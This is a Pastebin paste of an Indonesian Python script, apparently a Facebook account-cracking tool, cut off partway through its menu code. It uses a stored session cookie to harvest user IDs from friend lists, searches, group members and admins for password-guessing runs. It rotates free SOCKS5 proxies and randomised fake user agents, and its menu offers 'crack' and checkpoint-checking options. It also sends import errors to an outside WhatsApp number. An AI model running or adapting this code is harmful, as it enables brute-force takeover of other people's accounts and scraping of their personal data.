OBF-XIn

140.213.42.205-/sdcard/facebook.py.py

Apr 5th, 2024
99
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 132.26 KB | None | 0 0
  1. # ----[ CREATE BY ZORA ID 2024 ]---- #
  2.  
  3. ME = '\x1b[1;91m' # MERAH
  4. HU  = '\x1b[1;92m' # HIJAU
  5.  
  6. KG = '\x1b[1;93m' # KUNING
  7. BU = '\x1b[1;94m' # BIRU
  8.  
  9. UU = '\x1b[1;95m' # UNGU
  10. DT  = '\x1b[0m' # DEFAULT
  11.  
  12. try:
  13.     import os, re, sys, json, time, random, requests, datetime, bs4, uuid, base64, string, urllib, hashlib, subprocess
  14.     from rich.console import Console
  15.     from rich.columns import Columns
  16.     from rich.tree import Tree
  17.     from rich.panel import Panel
  18.     from rich import print as printz
  19.     from concurrent.futures import ThreadPoolExecutor
  20.     from token_eaat import GenerateEAAT
  21.     from banner import Terminal
  22. except(Exception, KeyboardInterrupt) as e:
  23.     try:
  24.         from urllib.parse import quote
  25.         __import__('os').system(f'xdg-open https://wa.me/6283140199711?text=FACEBOOK%20ERROR%20%3A%20{quote(str(e))}')
  26.         exit()
  27.     except(Exception, KeyboardInterrupt) as e:
  28.         from urllib.parse import quote
  29.         __import__('os').system(f'xdg-open https://wa.me/6283140199711?text=FACEBOOK%20ERROR%20%3A%20{quote(str(e))}')
  30.         exit()
  31.  
  32. data, data2 = {},{}
  33. bs = bs4.BeautifulSoup
  34. dump, proxies, active, inactive, deleted = [],[],[],[],[]
  35.  
  36. class Requ:
  37.     def __init_(self) -> None:
  38.         pass
  39.        
  40.     def payload(self, curl):
  41.         self.payload = {
  42.             'av': re.search('{"actorID":"(\d+)"', str(curl)).group(1),
  43.             '__user': re.search('{"actorID":"(\d+)"', str(curl)).group(1),
  44.             '__a':'1',
  45.             '__req': 'h',
  46.             '__hs': re.search('"haste_session":"(.*?)"', str(curl)).group(1),
  47.             'dpr': '2',
  48.             '__ccg': re.search('"connectionClass":"(.*?)"',str(curl)).group(1),
  49.             '__rev': re.search('{"consistency":{"rev":(\d+)}', str(curl)).group(1),
  50.             '__s': '',
  51.             '__hsi': re.search('"hsi":"(\d+)"', str(curl)).group(1),
  52.             '__dyn': '',
  53.             '__csr': '',
  54.             '__comet_req': re.search('__comet_req=(\d+)', str(curl)).group(1),
  55.             'fb_dtsg': re.search('"DTSGInitialData",\[\],{"token":"(.*?)"}',str(curl)).group(1),
  56.             'jazoest': re.search('jazoest=(\d+)', str(curl)).group(1),
  57.             'lsd': re.search('"LSD",\[\],{"token":"(.*?)"',str(curl)).group(1),
  58.             '__spin_r': re.search('"__spin_r":(\d+)', str(curl)).group(1),
  59.             '__spin_b': re.search('"__spin_b":"(.*?)"',str(curl)).group(1),
  60.             '__spin_t': re.search('"__spin_t":(\d+)', str(curl)).group(1),
  61.             'fb_api_caller_class': 'RelayModern'
  62.         }
  63.         return(self.payload)
  64.        
  65.     def headers_get(self):
  66.         self.headers = {
  67.             'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
  68.             'Accept-Encoding':'gzip, deflate',
  69.             'Accept-Language':'en-US,en;q=0.9',
  70.             'Cache-Control':'max-age=0',
  71.             'Pragma':'akamai-x-cache-on, akamai-x-cache-remote-on, akamai-x-check-cacheable, akamai-x-get-cache-key, akamai-x-get-extracted-values, akamai-x-get-ssl-client-session-id, akamai-x-get-true-cache-key, akamai-x-serial-no, akamai-x-get-request-id,akamai-x-get-nonces,akamai-x-get-client-ip,akamai-x-feo-trace',
  72.             'Sec-Ch-Prefers-Color-Scheme':'light',
  73.             'Sec-Ch-Ua':'','Sec-Ch-Ua-Full-Version-List':'',
  74.             'Sec-Ch-Ua-Mobile':'?0',
  75.             'Sec-Ch-Ua-Platform':'',
  76.             'Sec-Ch-Ua-Platform-Version':'',
  77.             'Sec-Fetch-Dest':'document',
  78.             'Sec-Fetch-Mode':'navigate',
  79.             'Sec-Fetch-Site':'same-origin',
  80.             'Sec-Fetch-User':'?1',
  81.             'Upgrade-Insecure-Requests':'1',
  82.             'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36','Viewport-Width':'924'
  83.         }
  84.         return(self.headers)
  85.        
  86.     def headers_post(self):
  87.         self.headers = {
  88.             'Accept':'*/*',
  89.             'Accept-Encoding':'gzip, deflate',
  90.             'Accept-Language':'en-US,en;q=0.9',
  91.             'Content-Type':'application/x-www-form-urlencoded',
  92.             'Origin':'https://www.facebook.com',
  93.             'Sec-Ch-Prefers-Color-Scheme':'dark',
  94.             'Sec-Ch-Ua':'',
  95.             'Sec-Ch-Ua-Full-Version-List':'',
  96.             'Sec-Ch-Ua-Mobile':'?0',
  97.             'Sec-Ch-Ua-Model':'',
  98.             'Sec-Ch-Ua-Platform':'',
  99.             'Sec-Ch-Ua-Platform-Version':'',
  100.             'Sec-Fetch-Dest':'empty',
  101.             'Sec-Fetch-Mode':'cors',
  102.             'Sec-Fetch-Site':'same-origin',
  103.             'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36'
  104.         }
  105.         return(self.headers)
  106.        
  107.     def bahasa(self, cookie):
  108.         with requests.Session() as r:
  109.             try:
  110.                 curl = r.get("https://mbasic.facebook.com/",cookies={"cookie": cookie}).text
  111.                 if "Apa yang Anda pikirkan sekarang" in curl: pass
  112.                 else:
  113.                     for z in curl.find_all("a",href=True):
  114.                         if "Tidak, Terima Kasih" in z.text:
  115.                             res = r.get("https://mbasic.facebook.com"+z["href"],cookies={"cookie":cookie})
  116.                             par = bs(res.text,"html.parser")
  117.                             act = par.find("form",{"method":"post"})["action"]
  118.                             pat = {
  119.                                 "fb_dtsg": re.search('name="fb_dtsg" value="(.*?)"', str(act.text)).group(1),
  120.                                 "jazoest":re.search('name="jazoest" value="(.*?)"', str(act.text)).group(1),
  121.                                 "submit": "OK, Gunakan Data"
  122.                             }
  123.                             pos = r.post("https://mbasic.facebook.com"+act,data=pat,cookies={"cookie": cookie})
  124.                     return pos
  125.             except (Exception) as e: pass    
  126.        
  127.     def GetFriends(self, cookie):
  128.         with requests.Session() as r:
  129.             try:
  130.                 resp = r.get('https://mbasic.facebook.com/profile.php?v=friends',headers={'user-agent': 'Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'},cookies={'cookie':cookie}).text
  131.                 if '"success":true' or 'Teman' not in str(resp):
  132.                     return re.search('>Teman (.*?)</h3>',str(resp)).group(1).split('(')[1].split(')')[-2]
  133.             except (Exception) as e: return('Tidak Ada')
  134.            
  135.     def GetUltah(self, cookie):
  136.         with requests.Session() as r:
  137.             try:
  138.                 resp = bs(r.get('https://mbasic.facebook.com/profile.php?v=info',headers={'user-agent': 'Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'},cookies={'cookie':cookie}).text,'html.parser')
  139.                 if '"success":true' or 'Tanggal Lahir' not in str(resp):
  140.                     ultah = resp.find(string=re.compile('Tanggal Lahir'))
  141.                     if ultah: return(ultah.find_next('div').text)
  142.                     else: return('tidak di ketahui')
  143.             except (Exception) as e: return(None)
  144.                                    
  145.     def ApkActive(self,cookie):
  146.         with requests.Session() as r:
  147.             try:
  148.                 resp = bs(r.get('https://mbasic.facebook.com/settings/apps/tabbed/?tab=active',headers={'user-agent': 'Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'},cookies={'cookie':cookie}).text,'html.parser')
  149.                 for x  in resp.find_all("h3"):
  150.                     if "Ditambahkan" in x.text: active.append(f"{DT}{str(x.text).replace('Ditambahkan',f' {HU}Ditambahkan')}{DT}")
  151.                     else: continue
  152.                 next = "https://mbasic.facebook.com"+resp.find("a",string="Lihat Lainnya")["href"]
  153.                 self.ApkActive(next,cookie)
  154.             except (Exception) as e: pass
  155.        
  156.     def ApkInactive(self,cookie):
  157.         with requests.Session() as r:
  158.             try:
  159.                 resp = bs(r.get('https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive',headers={'user-agent': 'Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'},cookies={'cookie':cookie}).text,'html.parser')
  160.                 for x  in resp.find_all("h3"):
  161.                     if "Kedaluwarsa" in x.text: inactive.append(f"{DT}{str(x.text).replace('Kedaluwarsa',f' {KG}Kedaluwarsa')}{DT}")
  162.                     else: continue
  163.                 next = "https://mbasic.facebook.com"+resp.find("a",string="Lihat Lainnya")["href"]
  164.                 self.ApkInactive(next,cookie)
  165.             except (Exception) as e: pass
  166.        
  167.     def ApkDeleted(self,cookie):
  168.         with requests.Session() as r:
  169.             try:
  170.                 resp = bs(r.get('https://mbasic.facebook.com/settings/apps/tabbed/?tab=removed',headers={'user-agent': 'Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'},cookies={'cookie':cookie}).text,'html.parser')
  171.                 for x  in resp.find_all("h3"):
  172.                    if "Dihapus" in x.text: deleted.append(f"{DT}{str(x.text).replace('Dihapus',f' {ME}Dihapus')}{DT}")
  173.                    else: continue
  174.                 next = "https://mbasic.facebook.com"+resp.find("a",string="Lihat Lainnya")["href"]
  175.                 self.ApkDeleted(next,cookie)
  176.             except (Exception) as e: pass
  177.            
  178.     def ConvertName(self, User, cookie):
  179.          with requests.Session() as r:
  180.              if "me" in User or "100" in User:
  181.                 return User
  182.              elif "https" in User or "facebook" in User:
  183.                 uid = User.split('/')[3]
  184.                 link = bs(r.get(f"https://mbasic.facebook.com/{uid}", cookies={'cookies':cookie[0]}).content, "html.parser")
  185.                 kut = link.find('a',string='Lainnya')
  186.                 return(str(kut['href']).split('=')[1].split('&')[0])
  187.              else:
  188.                 link = bs(r.get(f"https://mbasic.facebook.com/{User}", cookies={'cookies':cookie[0]}).content, "html.parser")
  189.                 kut = link.find('a',string='Lainnya')
  190.                 return(str(kut['href']).split('=')[1].split('&')[0])
  191.                  
  192.     def Socksku(self):
  193.         with requests.Session() as r:
  194.             try:
  195.                 response = r.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol={}&timeout=100000&country=all&ssl=all&anonymity=all'.format('socks5')).text
  196.                 for prox in response.splitlines():
  197.                     proxies.append(prox)
  198.                 return proxies
  199.             except (requests.exceptions.ConnectionError): time.sleep(5); self.Socksku()    
  200.            
  201.     def useragent_fb(self):
  202.         self.ch = (f'{random.randrange(70,124)}.0.{random.randrange(5000,5999)}.{random.randrange(40, 150)}')
  203.         self.dev = random.choice(['Windows NT 6.1; WOW64', 'Windows NT 10.0; Win32; x86', 'Windows NT 6.1; rv:78.0', 'compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0', 'compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E'])
  204.         self.angka = random.choice(['01','02','03','04','05','06','07','08','09','10'])
  205.         return(random.choice([
  206.             f'Mozilla/5.0 (X11; Ubuntu {random.randrange(10,22)}.{self.angka}; Linux {random.choice(["x86_64","i686"])}) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{self.ch} Safari/537.36',
  207.             f'Mozilla/5.0 (X11; Ubuntu/{random.randrange(10,22)}.{self.angka}; Linux {random.choice(["x86_64","i686"])}) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{self.ch} Safari/537.36',
  208.             f'Mozilla/5.0 ({self.dev}) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{self.ch} Safari/537.36'
  209.         ]))
  210.        
  211.     def useragent_api(self):
  212.         self.ch = (f'{random.randrange(70,124)}.0.{random.randrange(5000,5999)}.{random.randrange(40, 150)}')
  213.         self.dev = random.choice(['ME171', 'Slider SL101', 'Slider SL101', 'Slider SL101', 'Slider SL101', 'Slider SL101', 'Slider SL101', 'Slider SL101', 'Slider SL101', 'ME371MG', 'K01N', 'K012', 'K00E', 'K019', 'K00Z', 'K00Z', 'K016', 'K016', 'K00G', 'K00G', 'K50IJ', 'ME172V', 'ME172V', 'ME172V', 'ME172V', 'K00F', 'K01E', 'K00R', 'K017', 'K013', 'K007', 'K01A', 'ASUS MeMO Pad 7', 'K015', 'K011', 'K00L', 'ME302C', 'ME302C', 'ME302C', 'AOSP on Duma', 'ME302KL', 'ME302KL', 'K00U', 'ME173X', 'ME173X', 'ME173X', 'ME173X', 'ASUS K00S', 'ME301T', 'ME301T', 'ME301T', 'PadFone', 'PadFone', 'PadFone 2', 'PadFone 2', 'PadFone T008', 'PadFone T008', 'PadFone T004', 'ASUS_T00E', 'PadFone T00C', 'Padfone t00c', 'PadFone T00C', 'ASUS_T00N', 'ASUS PadFone X', 'ASUS_T00T', 'ASUS_Z01QD', 'ZS600KL', 'ASUS_I001DE', 'ZS660KL', 'ASUS_I001DA', 'ASUS_I001DC', 'ZS660KL', 'ASUS_I003DD', 'ZS661KS', 'ASUS_I003DD', 'ZS661KS', 'ASUS_I005DA', 'ASUS_I005DC', 'ASUS_AI2201_C', 'ASUS_AI2201_D', 'ASUS_AI2201_F', 'ASUS_AI2203_D', 'ASUS_AI2203_C', 'ASUS_AI2203_B', 'ASUS TAB A8', 'Tinker Board', 'Tinker Board 2', 'Tinker Board S', 'TX201LA', 'TX201LA', 'K010', 'K018', 'K018', 'TF300T', 'ASUS Pad TF300T', 'K01B', 'K00C', 'K00C', 'ASUS XPad 10LTE', 'ASUS Z101', 'ASUS Z101 Prime', 'ASUS_Z008D', 'ASUS_Z00AD', 'Z00D', 'ASUS_Z00LD', 'ASUS_Z00ED', 'ASUS_Z00RD', 'ASUS ZenFone 2E', 'ASUS_Z012D', 'ZE520KL', 'ASUS_Z017D', 'ASUS_Z012DA', 'ASUS_Z017DA', 'ASUS_Z012S', 'ASUS_Z012DE', 'ASUS_Z01FD', 'ASUS_Z016S', 'ZS550KL', 'ASUS_Z01BD', 'ASUS_Z01BS', 'ZC551KL', 'ASUS_Z01BDB', 'ASUS_X00DDB', 'ASUS_X008D', 'ASUS_X00DDA', 'ZC553KL', 'ASUS_X008DB', 'ASUS_A001', 'ASUS_Z01HDA', 'ZE553KL', 'ASUS_X00LD', 'ASUS_Z01KDA', 'ASUS_Z01KS', 'ASUS_X00LDB', 'ASUS_T00I', 'ASUS_X00HD', 'ASUS_X00ID', 'ZC554KL', 'ASUS_X015D', 'ASUS_X015D', 'ASUS_Z01GS', 'ASUS_Z01GD', 'ASUS_X00LDA', 'ZD553KL', 'ASUS_Z01MD', 'ASUS_Z01MDA', 'ZD552KL', 'ASUS_X00QD', 'ASUS_X00QD', 'ASUS_T00J', 'ASUS_X00QSA', 'ZE620KL', 'ASUS_T00F', 'ASUS_T00F', 'ASUS_T00K', 'ASUS_X017DA', 'ASUS_T00P', 'ASUS_Z01RD', 'ASUS_Z01RD', 'Zenfone 5Z', 'ZS620KL', 'ASUS_T00G', 'ASUS_I01WD', 'ASUS_T00G', 'ASUS_Z002', 'ZS630KL', 'ASUS_I002D', 'ZS670KS', 'ZS671KS', 'ASUS_I006D', 'ASUS_I004D', 'ASUS_AI2202', 'ASUS_AI2202_B', 'ASUS_A002', 'ASUS_A002A', 'ASUS_Z007', 'ASUS_X00ADA', 'ASUS_X00BD', 'ASUS_X007D', 'ZB500KL', 'ASUS_Z00SD', 'ZB551KL', 'ASUS_L001', 'ZB500KG', 'ASUS_Z00VD', 'ASUS_X013DA', 'ASUS_X013D', 'ASUS_X014D', 'ASUS_X014D', 'ASUS_X013DB', 'G550KL', 'G550KL', 'G553KL', 'ASUS_Z00YD', 'ASUS_A007', 'ASUS_X00RD', 'G552KL', 'ASUS_Z010DD', 'ASUS_Z010DB', 'ASUS_Z010D', 'ASUS_Z010DA', 'ASUS_X00PD', 'ZB555KL', 'ASUS_X01AD', 'ZB633KL', 'ASUS_X018D', 'ASUS_X018DC', 'ASUS_X00TD', 'ASUS_X00TDB', 'ASUS_X00TDE', 'ZB602KL', 'ASUS_X01BDA', 'ASUS_A001D', 'ASUS_X002', 'ASUS_X003', 'ASUS_X003', 'ASUS_X550', 'ASUS_X00GD', 'ASUS_X005', 'ASUS_Z00UDB', 'ASUS_Z00UD', 'ASUS_A006', 'ASUS_A009', 'ASUS_Z00XS', 'P01T_1', 'P021', 'P00L', 'P00C', 'P028', 'P027', 'ASUS_P00I', 'P001', 'P008', 'ASUS_P00J', 'ASUS ZenWatch', 'ASUS ZenWatch 2'])
  214.         return(
  215.             f'Mozilla/5.0 (Linux; U; Android {random.randrange(10,13)}; {self.dev}) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{self.ch} Safari/13F69 [FBAN/MessengerKatana;FBAV/{self.ch};FBBV/{random.randrange(511111111,599999999)};FBDV/{self.dev};FBMD/ASUS;FBSN/IOS;FBSV/10;FBSS/2;FBCR/VerizoneShophe;FBID/phone;FBLC/en_US;FBOP/5;FBRV/0]'
  216.         )
  217.            
  218. class Facebook:
  219.     def __init__(self):
  220.         self.requ = requests.Session()
  221.         self.password_manual, self.password_manuale, self.masukan_sandi, self.masukan_sandine, self.daftar, self.sudah, self.opsi, self.uaman, self.uaku, self.ok, self.cp, self.lp = [],[],[],[],[],[],[],[],[],0,0,0
  222.         self.dt = datetime.datetime.now()
  223.         self.alt = ('Facebook-'+str(self.dt.year)+'.txt')
  224.         self.kilo, self.kulo = [],[]
  225.         self.chek_data()
  226.        
  227.     def deled_dst(self):
  228.         try: os.system('rm -rf .data_fb.txt')
  229.         except: pass
  230.         GenerateEAAT().Cookies()
  231.        
  232.     def chek_data(self):
  233.         if os.path.isfile('.data_fb.txt') is True:
  234.            xxx = open('.data_fb.txt','r').read()
  235.            cookie, token = xxx.split('|'), xxx.split('|')
  236.            self.login_menu(cookie, token)
  237.         else: self.deled_dst()
  238.        
  239.     def chek_info(self, cookie, token):
  240.         with requests.Session() as r:
  241.             try:
  242.                 response = r.get(f"https://graph.facebook.com/me?fields=id,name,birthday,gender&access_token={token[1]}", cookies = {'cookies':cookie[0]}).json()
  243.                 bulan_ttl = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"}
  244.                 bulan, tanggal, tahun = response['birthday'].split('/')
  245.                 return (response['id'],response['name'],f'{tanggal} {bulan_ttl[bulan]} {tahun}',response['gender'])
  246.             except (KeyError) as e:
  247.                 Terminal().Clear_Terminal()
  248.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold blue] (Error) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  249.                 Console().print("[bold grey50]   ╰─> Terjadi Kesalahan, Cookie Exspired Atau Limite!!.."); time.sleep(3)
  250.                 self.deled_dst()
  251.  
  252.     def login_menu(self,cookie, token):
  253.         try: id, name, lahir, gender = self.chek_info(cookie, token)
  254.         except (requests.exceptions.ConnectionError) as e:
  255.             Terminal().Clear_Terminal()
  256.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold blue] (Error) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  257.             Console().print("[bold grey50]   ╰─> Terjadi Kesalahan, Koneksi Anda Error!!.."); time.sleep(3)
  258.             self.chek_data()
  259.         Terminal().Banner_Facebook()      
  260.         self.kulo.append(Panel(f'[bold green]•[bold white] User id [bold green]{id}\n[bold green]•[bold white] Username [bold green]{name}', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Info Akun[bold grey50]) [bold green]<[bold yellow]<[bold red]<',width=32, style='bold grey50'))
  261.         self.kulo.append(Panel(f'[bold green]•[bold white] Gender [bold green]{gender}\n[bold green]•[bold white] Lahir [bold green]{lahir}', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Info Akun[bold grey50]) [bold green]<[bold yellow]<[bold red]<',width=32, style='bold grey50'))
  262.         Console().print(Columns(self.kulo))
  263.         Console(width = 65, style = "bold grey50").print(Panel('''[bold white][bold green]01[bold white]. Crack id dari daftar teman  [bold white][bold green]06[bold white]. Chek opsi checkpoint\n[bold white][bold green]02[bold white]. Crack id dari search uname\t[bold white][bold green]07[bold white]. Clone random email\n[bold white][bold green]03[bold white]. Crack id dari member group\t[bold white][bold green]08[bold white]. Chek result crack\n[bold white][bold green]04[bold white]. Crack id dari admin group\t[bold white][bold green]00[bold white].[bold red] Exit facebook\n[bold white][bold green]05[bold white]. Crack id dari file dump''', title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Menu Facebook[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  264.         query = Console().input("[bold grey50]   ╰─> ")  
  265.         if query == '01' or query == '1':
  266.             try:
  267.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan ID Akun Facebook Target Pastikan Tidak Terkunci Atau Private, Ketik [bold green]me[bold white] Jika Ingin Dump Teman Sendiri, Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] 100000430704534,100000430704534[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  268.                 username = Console().input("[bold grey50]   ╰─> ")
  269.                 for self.username in username.split(','):
  270.                     try: self.Dump_Friends(self.username, cookie, token)
  271.                     except (Exception, requests.exceptions.ChunkedEncodingError, requests.exceptions.ConnectionError, KeyboardInterrupt): pass
  272.                 if len(dump) < 50:
  273.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah ID Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan ID Yang Terkumpul lebih Dari 50 ID!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  274.                     exit()
  275.                 else:
  276.                     Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  277.                     self.Methode()
  278.             except (Exception) as e:
  279.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  280.                 exit()
  281.                
  282.         elif query == '02' or query == '2':
  283.             try:
  284.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Satu Nama Target, Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] dinda, fatimah[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump Unlimited[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  285.                 username = Console().input("[bold grey50]   ╰─> ")
  286.                 for self.username in username.split(','):
  287.                     try: self.Dump_Nama(f'https://www.facebook.com/search/people/?q={self.username}'.replace(' ','+'), cookie, '')
  288.                     except (Exception, requests.exceptions.ChunkedEncodingError, requests.exceptions.ConnectionError, KeyboardInterrupt) as e: print(e)
  289.                 if len(dump) < 50:
  290.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah ID Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan ID Yang Terkumpul lebih Dari 50 ID!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  291.                     exit()
  292.                 else:
  293.                     Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  294.                     self.Methode()
  295.             except (Exception) as e:
  296.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  297.                 exit()
  298.                
  299.         elif query == '03' or query == '3':
  300.             try:
  301.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan ID Grup Facebook Grup Pastikan Tidak Terkunci Atau Private, Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] 322227862223869,489534719248261[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  302.                 username = Console().input("[bold grey50]   ╰─> ")
  303.                 for self.username in username.split(','):
  304.                     try: self.Dump_Member(self.username, cookie, '')
  305.                     except (Exception, requests.exceptions.ChunkedEncodingError, requests.exceptions.ConnectionError, KeyboardInterrupt) as e: pass
  306.                 if len(dump) < 50:
  307.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah ID Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan ID Yang Terkumpul lebih Dari 50 ID!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  308.                     exit()
  309.                 else:
  310.                     Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  311.                     self.Methode()
  312.             except (Exception) as e:
  313.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  314.                 exit()
  315.                
  316.         elif query == '04' or query == '4':
  317.             try:
  318.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Satu Nama Grup Facebook, Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] ayam, kandang[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  319.                 username = Console().input("[bold grey50]   ╰─> ")
  320.                 for self.username in username.split(','):
  321.                     try: self.Dump_Admin(f'https://free.facebook.com/search/groups/?q={self.username}', cookie)
  322.                     except (Exception, requests.exceptions.ChunkedEncodingError, requests.exceptions.ConnectionError, KeyboardInterrupt): pass
  323.                 if len(dump) < 50:
  324.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah ID Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan ID Yang Terkumpul lebih Dari 50 ID!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  325.                     exit()
  326.                 else:
  327.                     Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  328.                     self.Methode()
  329.             except (Exception) as e:
  330.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  331.                 exit()    
  332.                
  333.         elif query == '05' or query == '5':
  334.             try:
  335.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan File Dump Anda Sesuai Tempat Menyimpan File Dump, Banyaknya File Dump Bisa Menggunakan Koma, Misalnya :[italic green] /sdcard/dump1.txt,/sdcard/dump2.txt[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
